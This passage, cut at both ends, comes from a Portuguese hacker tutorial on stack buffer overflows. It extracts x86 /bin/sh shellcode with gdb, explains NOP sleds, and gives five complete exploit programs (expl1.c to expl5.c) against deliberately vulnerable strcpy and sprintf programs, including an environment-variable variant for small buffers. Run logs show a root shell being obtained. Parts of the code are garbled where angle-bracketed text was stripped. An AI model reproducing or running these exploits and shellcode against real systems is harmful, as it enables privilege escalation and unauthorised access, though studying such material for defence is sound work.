Continuando: (gdb) x/xb main+41 0x8048179 : 0x2f (gdb) x/xb main+42 0x804817a : 0x62 (gdb) x/xb main+43 0x804817b : 0x69 (gdb) x/xb main+44 0x804817c : 0x6e (gdb) x/xb main+45 0x804817d : 0x2f . . . 0x8048183 : 0x5d (gdb) x/xb main+52 0x8048184 : 0xc3 (gdb) x/xb main+53 0x8048185 : 0x90 (gdb) x/xb main+54 0x8048186 : 0x90 Como podemos ver chagamos ateh a instrucao NOP(0x90), logo nao incluiremos ela em nosso shellcode, devemos entao acrescentar ateh , fazendo entao nosso shellcode ficar assim: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; Antes de testarmos esse dito cujo, vou dar uma breve explicacao do que eh este NOP(0x90) e porque usaremos ele em nossos codigos de exploits futuros.A instrucao NOP pode ser considerada como uma instrucao vazia, ou uma operacao nula.Quase todos os processadores possuem esta intrucao e no nosso caso, um sistema linux i386 o hexadecimal correspondente a esta instrucao eh 0x90.Quando executamos um exploit, necessitamos fazer com que o endereco de retorno execute nosso shellcode, mas quando ele aponta p/ um endereco com dados diferentes do que de fato queremos, que eh o inicio do nosso shellcode, ocorre uma Segmentation Violation! Ou simplesmente uma violacao de segmentacao, e quando isto ocorre, nos nao alcancaremos facilmente nosso objeto.A nao ser que chutemos offsets ateh conseguir achar nosso codigo.Mas isto eh muito trabalhoso, de modo que eh mais eficiente enchermos o buffer com nosso shellcode no meio e o resto de NOP's, isto farah com que, se o retorno apontar para uma intrucao NOP no buffer, irah percorrer elas ateh chegar ao inicio de nosso shellcode, e ,consequentemente, executar nosso codigo(shellcode). Quando chegar a parte sobre escrita de exploits, voce entenderah na pratica o que significa isso. Podemos agora testar cada um desses dois shellcodes.Voce pode escolher entre qualquer um dos dois, como aqui nos estamos vendo o basico do basico, dependendo das situacoes, um shellcode poderah ser melhor que o outro(Questao de filtros e etc..).Bem, mas para nossos propositos iremos testar nosso shellcode usando o segundo esquema, onde a string /bin/sh aparece em formato hexadecimal.Vejamos como fica: /* Simples Exemplo de Shellcode com string /bin/sh em hexa Compile com: $gcc -o shellnova2 shellnova2.c */ #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; void main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } O esquema na linha de comando seria: [localhost:/]$ gcc -o shellnova2 shellnova2.c [localhost:/]$ ./shellnova2 bash$ exit exit Como podemos ver perfeitamente, ele funciona bem como queriamos. Bem amigo, espero que voce tenha aprendido com esse texto, a escrita basica de shellcodes, isso para a maioria das situacao eh mais do que o necessario.Se nao deu para pegar bem, de uma olhada no outro texto que fiz somente sobre esse assunto ou mesmo nas home pages que cito no final, pode-se dizer que foi nestes textos que aprendi a fazer isso.Lembrando o que disse no texto sobre programacao em sockets, que espero que tenha lido..:).."SABENDO FAZER UM, O QUE TE IMPEDE DE FAZER TODOS??". ------------------------------ 4 - FAZENDO UM STACK OVERFLOW | ------------------------------ Bem amigo, chegamos a tao esperada hora! Muitos administradores de rede tremem ao ouvir essa palavra, pois sabem o que eh possivel se fazer com isso.A escrita de exploits, varia muito, digo isso porque eh muito facil exploitar um determinado bug ou um erro de uma funcao que recebe dados da linha de comando, mas eh bem dificil as vezes quando a situacao nao eh essa(quando a funcao nao recebe dados da linha de comando).O que escreverei aqui irah interessar duas classe de programadores de exploits ( ou serah hackers??:) ), de qualquer forma, a maioria se limita a escrever exploits que se utilizam de bugs na linha de comando, mas poucos se atentam aos outros tipos.Eh muito comum dizermos da seguranca:"Eles sabem o que eh, mas nao sabem fazer!!" justamente porque eles se limitam muito a overflows pela linha de comando e afins. Mas deixando o papo de lado, vamos comecar do basico, escrevendo um exploit para o nosso primeiro programa bugado(aquele lah do inicio). Lah no inicio, eu coloquei um programa especifico que enche o buffer de nosso programa bugado com caracteres A, se recorda? Agora, ao inves de enchermos o buffer com caracters 'A' que soh poderiam nos dar,quando muito, um Denial Of Service, encheremos o buffer com nosso codigo, e sobrescreveremos o return address(endereco de retorno) para que ele aponte para o inicio do buffer e consequentemente para o nosso codigo. Vejamos um esquema antes de fazermos isso: * Primeiro debugaremos nosso programa bugado usando o gdb. [localhost:/]$ gdb bug1 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (no debugging symbols found)... (gdb) + Em seguida executamos ele para gerar o buffer overflow. (gdb) run `perl -e 'printf "A" x 530'` Starting program: /tmp/bug1 `perl -e 'printf "A" x 530'` Voce digitou AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA!! (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Prestando atencao, podemos perfeitamente ver que geramos o overflow: Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Esse 0x41 se refere aos 'A's, ele eh o numero hexa correspondente ao caracter A.Fizemos isso mais para demonstrar que o programa possui um bug e que voce pode perfeitamente descobrir usando o programa gdb. Agora vem a parte mais seria, vamos pedir ao gdb para nos mostrar aonde na memoria(em hexa) estah o nosso Stack Pointer atual.Para isso usamos o seguinte comando: (gdb) info all-registers eax 0x0 0 ecx 0x80485bf 134514111 edx 0x3 3 ebx 0x0 0 esp 0xbffff838 0xbffff838 ebp 0x41414141 0x41414141 esi 0x40006394 1073767316 edi 0x8048400 134513664 eip 0x41414141 0x41414141 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) ou se preferir: (gdb) info register eip eip 0x41414141 0x41414141 (gdb) info register esp esp 0xbffff838 0xbffff838 (gdb) Como voce pode ver, ele mostra todos os registradores, mas no momento, devemos nos concentrar somente em dois.O registar eip(index pointer) que eh aonde se localiza nossos 'A's, e o registrador esp(Stack pointer) No caso acima teremos: (gdb) info register eip eip 0x41414141 0x41414141 para eip (Index pointer). (gdb) info register esp esp 0xbffff838 0xbffff838 para esp (Stack pointer). Bem amigo, para que tudo isso? Iremos inicialmente criar um exploit em cima desse esp.Eu digo desse, porque ele varia, e como estamos executando gdb, partimos do pre-suposto que vamos fazer um exploit p/ maquina local, onde poderemos compilar nosso exploit.P/ maquinas remotas o esquema eh diferente, pois nao teriamos permissao para usar gdb, e outra coisa, mais embaixo veremos um metodo mais eficiente do que este, mas por enquanto, vamos nos concentrar neste. Bem, apos pegarmos esse endereco de esp, iremos agora montar a nosso primeiro exploit para nosso primeiro programa bugado, o do comeco desse txt(bug1). --------------------------- expl1.c ---------------------------------- /* Primeiro exploit para Programa bugado 1(bug1) Compile com: $ gcc -o expl1 expl1.c */ #include #include #include /* Aqui nos definimos a instrucao NOP (explicada no final da parte sobre shellcodes) como sendo seu codigo em hexadecimal */ #define NOP 0x90 /* Sabemos (Sem necessitar ver o codigo-fonte) que o programa bugado eh detonado quando usamos mais de 512 bytes(como vimos usando perl ou mesmo o programa que coloquei no inicio). Entao usaremos nesse exemplo um buffer um pouco maior, recomenda-se nessa faixa(100 a +) para inserir nossos dados */ #define TAMANHO 612 /* Aqui eh o endereco de esp ou Stack pointer, que acabamos de pegar usando gdb acima */ #define RET 0xbffff808 /* Abaixo segue o nosso shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; int main(int argc, char *argv[]) { char buffer[TAMANHO]; long ret = RET; int i, offset = 0; long retaddr; if(argc > 1) offset = atoi(argv[1]); retaddr = ret + offset; /* Enchemos retaddr com endereco de buffer */ for (i=0;i #include unsigned long pega_sp(void){ __asm__("movl %esp,%eax"); } void main(){ printf("Eis o que estamos procurando: 0x%x \n",pega_sp()); } ----------------------------------------------------------------- Compilando ele e executando normalmente, teremos: [localhost:/]$ gcc -o pega_sp pega_sp.c [localhost:/]$ ./pega_sp Eis o que estamos procurando: 0xbffffa28 [localhost:/]$ Como podemos perfeitamente ver, existe uma diferenca entre o SP achado via gdb e o SP achado via esse programa.Essa diferenca pode perfeitamente ser compensada no acrescimento ou decrescimo de offsets na linha de comando em busca do real endereco de retorno.Como o SP eh variavel(muda de maquina para maquina, de programa p/ programa), este codigo eh bastante util aonde nao se tem acesso a captura do SP facilmente, como por exemplo, em exploits remotos ou em redes aonde nao podemos compilar um programa. Inserindo esse codigo no nosso exploit, teremos entao um novo esquema com a retirada do SP definido(o que pegamos via gdb).Vejamos como fica: ------------------------------ expl2.c ---------------------------------- /* Segundo Exemplo de exploit para sobrescrever primeiro programa bugado do tutorial sobre overflows. Se utitiliza do metodo de pegar o SP(Stack Pointer) via codigo inserido no proprio exploit abaixo. Desenvolvido por Nash Leon. */ #include #include #include /* Definimos o NOP(0x90) e o Tamanho do buffer(+ ou - 100 bytes maior que o que nos queremos sobrescrever */ #define NOP 0x90 #define TAMANHO 612 /* Aqui entra nosso artificio para tentarmos pegar a posicao de SP */ unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } /* Nosso shellcode padrao */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; int main(int argc, char *argv[]) { char buffer[TAMANHO]; int i, offset = 0; long retaddr; if(argc > 1) offset = atoi(argv[1]); /* Para pegarmos o real return address(endereco de retorno) manipulando nosso esquema para pegar SP com diminuicao de offsets.Voce poderia colocar para somar, mas nesse caso, com esse esquema, eh melhor colocarmos com diminuicao,para nao chutarmos offsets negativos */ retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno */ for (i=0;i #include #include /* Boa e velha instrucao NOP em linux */ #define NOP 0x90 /* Para pegarmos o Stack Pointer */ unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } /* Testaremos dessa ver com esse shellcode, mas voce pode perfeitamente usar o anterior ou qualquer um que tiver ou desejar */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Exploit Exemplo 3 do tutorial sobre overflows!!\n"); printf("http://unsekurity.virtualave.net/\n"); printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno */ for (i=0;i Obs:Digite o tamanho do buffer!! [localhost:/]$ ./e3 200 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!! [localhost:/]$ ./e3 400 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!! [localhost:/]$ ./e3 500 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿ÿ¿!! [localhost:/]$ ./e3 600 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿ÿ¿!! bash#id uid=1000 gid=100(users) groups=100(users) euid=0(root) egid=0(root) bash# exit exit :)..Como podemos ver foi facil, chutamos poucos, de 100 em 100, para nao escrever mais linhas...esse texto jah estah grande demais, mas de qualquer forma vai um conselho.Quando receber aquela velha mensagem que disse no inicio, "Segmentation fault" , saiba que voce jah estourou o buffer.Entao tente diminuir o tamanho do buffer ateh que voce nao receba mais essa mensagem aih voce terah ideia mais ou menos de onde de fato ocorre o overflow.De posse dessa ideia eh soh mandar brasa. Veremos agora mais um exploit para nosso programa bugado, soh que usaremos um artificio que optimizarah nosso exploit, fazendo com que diminua ainda mais o nosso trabalho.Iremos manipular mais dados para que o endereco de retorno aponte mais precisamente para aonde nos queremos.Vejamos: ------------------------------expl4.c------------------------------ /* QUARTO EXEMPLO DE EXPLOIT PARA PRIMEIRO PROGRAMA BUGADO. SE UTILIZADA DE ALINHAMENTO EM BUSCA DE MELHORAR O APONTAMENTO DO ENDERECO DE RETORNO PARA NOSSO CODIGO */ #include #include #include #define NOP 0x90 /* Aqui nos definimos o alinhamento, jah para voce ir se acostumando..:).. */ #define ALIGN 0 /* Pegamos o Stack Pointer */ unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Exploit Exemplo 4 do tutorial sobre overflows!!\n"); printf("http://unsekurity.virtualave.net/\n"); printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno usando o artificio de deslocamento de bits para a direita, no intuito de agilizar ainda mais nosso processo.Para voce entender bem o que significa isso aih, vejamos: n = 2; onde 2 em binario eh 10; n << 4; agora n terah representacao binaria igual a 100000 10 + 4 zeros. E a operacao logica & equivale a && soh que eh usada em operacoes logica bit-a-bit. */ for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } /* Enchemos uma parte do buffer com NOP's */ for (i=0;i<(tamanho-strlen(shellcode)-100);i++) *(buffer+i) = NOP; /* Copiamos shellcode sobre buffer */ memcpy(buffer+i,shellcode,strlen(shellcode)); /* Finalmente executamos o programa */ execl("./bug1","bug1",buffer,0); } ----------------------------------------------------------------- Compilamos ele e em seguida testamos. [localhost:/]$ gcc -o expl4 expl4.c [localhost:/]$ ./expl4 Exploit Exemplo 4 do tutorial sobre overflows!! http://unsekurity.virtualave.net/ Uso: ./e5 Obs:Digite o tamanho do buffer!! [localhost:/]$ ./expl 520 Voce digitou.... ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú /bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú bash#exit exit YES!!!!!!:) Como podemos ver, esse esquema eh muito eficiente quando temos nocao de onde ocorre o overflow, ele explora mesmo muitos chutes de buffers sem precisar de offsets, voce pode testar com varios, vah testando chutando de 10 em 10, de 517 ateh lah por 600, 610.Voce pode ateh mesmo chutar bem mais o tamanho do buffer, mas aih poderah ter que chutar offsets, e quanto mais longe disso, melhor!!! Aos poucos estamos conseguindo solucionar varios problemas e aperfeicoando ainda mais a escrita de nossos exploits.Mas podem surgir ainda mais e mais problemas,nao se desanime, se aprendeu tudo aih em cima o que segue eh soh completo, voce estarah se munindo cada vez mais, e breve estarah capacitado p/ enfrentar muitas situcoes que podem dificultar nossos buffers overflows.Nos exemplos citados acima, os buffers(bloco de memoria), onde eram guardadas as variaveis no programa bugado possuiam o tamanho de 512 bytes.Isto eh considerado grande.Logico, dependendo da ocasiao, tem programas com bem mais do que isso, mas eu me refiro que num buffer deste tamanho, nos nao temos problemas em inserir nosso codigo, mas e se o buffer for menor, se for bem pequeno? Veremos agora um exemplo de um pequeno buffer.Existem casos em que os buffers sao tao pequenos que nosso shellcode nao cabem neles, entao a primeira vista parece um enorme empecilho, sem duvida que eh, mas ha uma solucao!No mundo da informatica, ainda mais nesse onde os fucadores trabalham, pesquisam e etc, nao existe a palavra impossivel, a teoria de hoje pode ser a pratica de amanha. Para podermos sobrescrever um buffer desse tipo, devemos entao colocar nossos dados(shellcode,nops) num lugar e depois fazer com que o endereco de retorno(return address) aponte p/ esse lugar, aonde estao os nossos dados.O lugar onde podemos colocar nossos dados eh conhecido como "variavel environment"(ao redor, ambiente, por perto), o pessoal que meche a um pouco de tempo em linux sabe do que estou falando.De qualquer forma, quando ocorrer o overflow, nos colocaremos o endereco dessa variavel sobre o return address, fazendo com que nosso codigo seja executado. As variaveis environment sao armazenadas no topo do Stack quando o programa eh iniciado, qualquer modificacao pela funcao setenv() - que serve para mudar ou adicionar uma variavel environment - eh entao alocada lah(no topo do stack). Apos a inicializacao o stack ficaria parecido mais ou menos com isso: NULLNULL Veremos entao um novo exemplo de programa bugado, soh que com um pequeno buffer.Vejamos ------------------------------------------------------------------ /* SEGUNDO EXEMPLO DE PROGRAMA BUGADO. PROGRAMA BUGADO COM PEQUENO BUFFER */ #include #include #define TAMANHO 100 main(int argc, char *argv[]) { char nick[TAMANHO]; char *digitado; if(argc < 2){ printf("Programa bugado 2!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } digitado = argv[1]; strcpy(nick,digitado); if(!strcmp(nick,"hacko")){ printf("Seja bem vindo mestre!!\n"); return 0; } else{ printf("Fora daqui!!Voce eh Newbie!!\n"); printf("Somente hackos tem acesso na hora certa!!\n"); return 0; } } ----------------------------------------------------------------- Compile ele normalmente: gcc -o bug2 bug2.c Como voce pode ver, ele possui apenas 100 bytes de tamanho no buffer, poderia ateh possuir menos para nossos propositos educacionais, e voce pode se deparar com buffers menores por aih, mas trabalharemos em cima desse com 100 bytes para facilitar mais, lembrando novamente o que eu disse em outros tutoriais: "SABENDO FAZER UM, O QUE TE IMPEDE DE FAZER TODOS?" Abaixo segue o exploit para esse tipo de programa bugado: ----------------------------- expl5.c ------------------------------- /* Exploit para Segundo Programa Bugado. Ele irah criar uma variavel environment para sobrescrever um buffer pequeno */ #include #include #include /* Definimos o tamanho do buffer padrao, o tamanho do buffer aqui do nosso exploit nao precisa ser pequeno, o que eh aconselhavel eh definirmos o tamanho do buffer da variavel environment proximo ao do buffer bugado, por isso amigo, eh bom ter uma ideia, antes de exploitar um programa bugado, do tamanho do buffer que recebe dados, tente a velha forca bruta.Alinhamento, Offset e Nop, voce jah sabe. */ #define TAMANHO_BUFFER 500 #define NOP 0x90 #define OFFSET_PADRAO 0 #define ALIGN 0 /* Aqui entra a definicao do tamanho padrao do buffer onde ficarah nossa variavel environment, tente coincidir com o tamanho do buffer bugado, se nao for possivel, chute atraves da linha de comando. */ #define TAMANHO_VENV 100 unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer, *var_env; long retaddr; int i ,tamanho = TAMANHO_BUFFER, offset = OFFSET_PADRAO; int tam_venv = TAMANHO_VENV ; if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(argc > 3){ tam_venv = atoi(argv[3]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } /* Pegando o Endereco de Retorno */ retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno */ for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } /* Enchemos uma parte do buffer com NOP's Como pode notar, manipulamos nosso buffer em cima do tamanho da variavel environment, se ligue, se for chutar tamanhos, nao chute muito distantes um do outro */ for (i=0;i<(tam_venv-strlen(shellcode));i++) *(buffer+i) = NOP; memcpy(buffer+i,shellcode,strlen(shellcode)); /* Setamos a Variavel Environment */ var_env[tam_venv -1] = '\0'; memcpy(var_env,"EGG=",4); putenv(var_env); /* Executamos o programa bugado */ execl("./bug2","bug2",buffer,0); } --------------------------------------------------------------- Compilamos ele normalmente e em seguida mandamos brasa: [localhost:/]$ gcc -o expl5 expl5.c [localhost:/]$ ./expl5 500 0 100 Fora daqui ..... úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿú úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ!!Voce eh Newbie!! Somente hackos tem acesso na hora certa!! Segmentation fault [localhost:/]$ ./expl5 400 0 200 Fora daqui ..... úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿú úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ!!Voce eh Newbie!! Somente hackos tem acesso na hora certa!! bash# exit exit :)...Como pode ver, tudo eh possivel amigo.Voce pode tentar, chutando o tamanho do buffer p/ nosso exploit de 360 a 410, mais ou menos, sem necessitar de offsets.Jah o tamanho do buffer da variavel Environmente, fica proximo ao tamanho do buffer do programa bugado, algo entre 90 e 104, tente chegar bem proximo do tamanho do buffer bugado, aih voce terah que manipular somente o tamanho do buffer do exploit(argv[1]). Bem amigos, creio que isso eh o suficiente para se exploitar funcoes que recebem dados da linha de comando, como nos dois exemplos acima, onde a funcao strcpy() manipulava dados recebidos diretamente pela linha de comando.Sabemos que nao sao somente estas as funcoes que nao checam o tamanho dos dados recebidos e sua relacao com o tamanho do buffer para as variaveis, sao varias, e mais lah embaixo voce verah algumas explicadas brevemente, mas para enfatizar que voce estah apto a explorar falhas nas funcoes que nao checam o tamanho dos dados recebidos pela linha de comando, colocaremos mais um programa bugado, soh que com outra funcao que nao checa, a funcao sprintf. /* PROGRAMA BUGADO 3, SPRINTF() */ #include #include #include #define TAMANHO 512 main(int argc, char *argv[]){ char *hacko; char buf_bugado[TAMANHO]; if(argc < 2){ printf("Programa bugado 3!!\n"); printf("Uso: %s string\n",argv[0]); exit(0); } hacko = argv[1]; sprintf(buf_bugado,"%s",hacko); printf("Seja bem vindo %s!\n",buf_bugado); return 0; } Voce pode usar o mesmo exploit otimizado usado para sobrescrever o primeiro programa bugado,o exploit de numero 4 para esse programa acima e conseguir exploita-lo.Aqui no meu caso, chutei o tamanho do buffer de 520 a 620, conseguindo exploitar tranquilamente.Eh dificil hj em dia se achar codigos contendo este tipo de bug(funcao sprintf() usada deste modo), voce pode ver claramente que o uso dela nao eh util, pois eh mais facil achar strcpy() fazendo o que sprintf() fez acima.Mas eh bem capaz de voce achar num programa sprintf() sendo usado da seguinte forma: sprintf(buf_bugado,"Seja bem vindo %s!\n",hacko); printf(buf_bugado); Aih a coisa complica um pouco.Nao vou avancar muito, pois pretendo, se necessario, escrever uma continuacao para este tutorial, mas antes deve vir um material sobre IPC(InterProcess Comunication), que um dos membros do Unsekurity Team estah processando..:). Com IPC fica mais facil interagir com funcoes que nao recebem dados da linha de comando, e consequentemente exploita-las.Eh possivel que ainda nao exista material divulgado sobre este tipo de exploitacao em 